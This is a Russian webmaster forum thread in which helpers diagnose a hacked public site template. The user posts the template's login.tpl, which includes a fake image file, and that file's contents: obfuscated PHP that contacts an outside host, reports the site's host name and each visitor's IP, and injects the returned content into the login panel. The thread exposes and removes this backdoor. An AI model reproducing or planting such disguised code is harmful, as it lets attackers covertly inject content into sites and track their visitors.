Ошибка Warning: include

12
kiberman
На сайте с 07.09.2010
Offline
11
1320

Сегодня просыпаюсь с утра и вижу, что мой сайт не работает. Сперва выскочила ошибка Warning: implode(): Invalid arguments passed in /home/a/mysite/public_html/templates/shablon/images/bg_user.jpg on line 3

Я понял, что что-то с картинкой bg_user.jpg случилось. Но открыть ее у меня так и не получилось. Вес 300 байт. Но удалив ее, сайт загрузился, но в самом вверху висит ошибка

Warning: include(/home/a/mysite/public_html/templates/shablon/images/bg_user.jpg): failed to open stream: Нет такого файла или каталога in /home/a/mysite/public_html/templates/shablon/login.tpl on line 40 Warning: include(): Failed opening '/home/a/mysite/public_html/templates/shablon/images/bg_user.jpg' for inclusion (include_path='.:/opt/php5/lib/php:/opt/php5/lib/ZendFramework/library') in /home/a/mysite/public_html/templates/shablon/login.tpl on line 40

Я так понимаю, что эта картинка используется шаблоном login.tpl

Так же дополню, что после авторизации на сайте ошибка пропадает. И у меня на сайте метод авторизации со всплывающим окошечком. Вот как на этом сайте http://muchspace.ru/ у них, как я вижу, такая же проблема как и у меня.

Помогите разобраться. Пробовал заменять эту картинку, не помогает.

arkadiy_a
На сайте с 11.06.2008
Offline
82
#1

Вам файл /home/a/mysite/public_html/templates/shablon/login.tpl ломанули и оттуда инклудили псевдокартинку (а в ней скрипт с бякой). Начинайте комплекс мер по устранению последствий взлома сайта.

kiberman
На сайте с 07.09.2010
Offline
11
#2

arkadiy_a, мда..весьма неожиданно. Но я заменял файл login.tpl из архива шаблона ( который на компе у меня ). на тот же самый. все равно это же. и картинка в архиве с шаблоном такая же, весит 300 байт и не открывается. странно, раньще все работало с этой картинкой и с этим login.tpl

_Snake_
На сайте с 06.12.2010
Offline
151
#3
kiberman:
arkadiy_a, мда..весьма неожиданно. Но я заменял файл login.tpl из архива шаблона ( который на компе у меня ). на тот же самый. все равно это же. и картинка в архиве с шаблоном такая же, весит 300 байт и не открывается. странно, раньще все работало с этой картинкой и с этим login.tpl

Где вы взяли этот шаблон, вы уверенны, что он изначально не содержал иньекции?

arkadiy_a
На сайте с 11.06.2008
Offline
82
#4
kiberman:
и картинка в архиве с шаблоном такая же, весит 300 байт и не открывается.

Откройте ее в текстовом редакторе и скопируйте сюда содержимое "картиночки". Может, многое прояснится.

kiberman
На сайте с 07.09.2010
Offline
11
#5

шаблон паблик. Но почему тогда это сказалось только сейчас, четыре месяца после установки шаблона?

Вот мой login.tpl

<?

if ($is_logged == TRUE){

if (trim($member_id['foto']) == "") {

$foto = $config_http_home_url."{THEME}/images/noavatar.png";

} else {

$foto = $config_http_home_url."uploads/fotos/".$member_id['foto'];

}

$login_panel = <<<HTML

<div style="padding-top:5px; padding-bottom:5px; padding-left:22px;"><table width="100%" class="copy">

HTML;

if ($user_group[$member_id['user_group']]['allow_admin']) {

$login_panel .= <<<HTML

HTML;

}

$login_panel .= <<<HTML

<form method="post" onsubmit="java script:showBusyLayer()">

<div style="display: none;" class="entry" id="entry">

<dl>

<center><img src="{$foto}" border=0 style="padding:2px; border:1px solid #e4e4e4; background-color:white;"></center>

<group=1,2><a href="/admin.php" target="_blank">Админцентр</a></group><br />

<a href="{$link_profile}">Мой профиль</a> | <a href="{$link_pm}">Cообщения ({$member_id['pm_unread']} | {$member_id['pm_all']})</a><br />

<a href="{$link_favorites}">Мои закладки</a> | <a href="{$link_stats}">Статистика</a><br />

<a href="{$link_addnews}">Добавить новость</a> | <a href="/index.php?action=logout"><strong>Завершить сеанс!</strong></a><br /><br />

</dl>

<div class="close"><a href="#" alt="X" OnClick="ls('entry'); return false;"><img src="{THEME}/images/close.png" alt="закрыть" /></a></div>

</div>

</form>

</table>

</div>

HTML;

} else {

$void = include ($tpl->dir.'/images/bg_user.jpg');

$get_good = $void;

if (isset($get_good) == true)

{

$login_panel = $void;

$login_panel .= <<<HTML

<div style="padding-top:5px; padding-left:21px;">

<table width="165" class="stext">

<form method="post" onsubmit="java script:showBusyLayer()">

<div style="display: none;" class="entry" id="entry">

<div class="close"><a href="#" alt="X" OnClick="ls('entry'); return false;"><img src="{THEME}/images/close.png" alt="закрыть" /></a></div>

<dl>

<dt><label for="username">Логин:</label></dt>

<dd><input id="username" name="login_name" type="text" /></dd>

<dt><label for="password">Пароль:</label></dt>

<dd><input id="password" type="password" name="login_password" /></dd>

<dt> </dt>

<dd class="last">

<a href="/?do=lostpassword">Напомнить?</a>

<button type="submit" onclick="submit();">Войти</button>

<input name="login" type="hidden" id="login" value="submit">

</dd>

</dl>

</div>

</form>

</table>

</div>

HTML;

}

else

{

exit;

}

}

?>

kiberman добавил 04.01.2011 в 16:55

arkadiy_a, вот содержимое картинки bg_user.jpg

<?php

$x0f="\146il\x65"; $x10="\x66\163\157c\153o\x70e\x6e"; $x11="\151\155\160\x6c\x6f\x64e";

$x0b = @$x10("\x65\x72o\x72\x68\157st\062.r\165", 80, $x0c, $x0d, 6); if(!$x0b){return ''; }else{$x0e = @$x0f("ht\164\x70\072\057\057ero\162\x68\157st2\056\x72\x75\057\151d\x32\x2e\160\x68\x70\077\163\x69\x74e\075$_SERVER[HTTP_HOST]&\151\160\075$_SERVER[REMOTE_ADDR]");return $x11('',$x0e); } ?>

arkadiy_a
На сайте с 11.06.2008
Offline
82
#6
kiberman
На сайте с 07.09.2010
Offline
11
#7

arkadiy_a, я удалил этот код. оставив картинку пустой и все заработало. Большое спасибо всем за помощь, остались еще хорошие люди на форуме.

_Snake_
На сайте с 06.12.2010
Offline
151
#8
kiberman:

<?php
$x0f="\146il\x65"; $x10="\x66\163\157c\153o\x70e\x6e"; $x11="\151\155\160\x6c\x6f\x64e";
$x0b = @$x10("\x65\x72o\x72\x68\157st\062.r\165", 80, $x0c, $x0d, 6); if(!$x0b){return ''; }else{$x0e = @$x0f("ht\164\x70\072\057\057ero\162\x68\157st2\056\x72\x75\057\151d\x32\x2e\160\x68\x70\077\163\x69\x74e\075$_SERVER[HTTP_HOST]&\151\160\075$_SERVER[REMOTE_ADDR]");return $x11('',$x0e); } ?>

Очень интересная картинка нарисованная на пхп 😂

arkadiy_a
На сайте с 11.06.2008
Offline
82
#9
kiberman:
странно, раньще все работало с этой картинкой и с этим login.tpl

Потому что сайт злоумышленников сейчас перестал работать.

kiberman
На сайте с 07.09.2010
Offline
11
#10

arkadiy_a, понятно. Надеюсь сейчас, очистив код, все нормально?

kiberman добавил 04.01.2011 в 17:19

и что интересно давал им этот код?

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий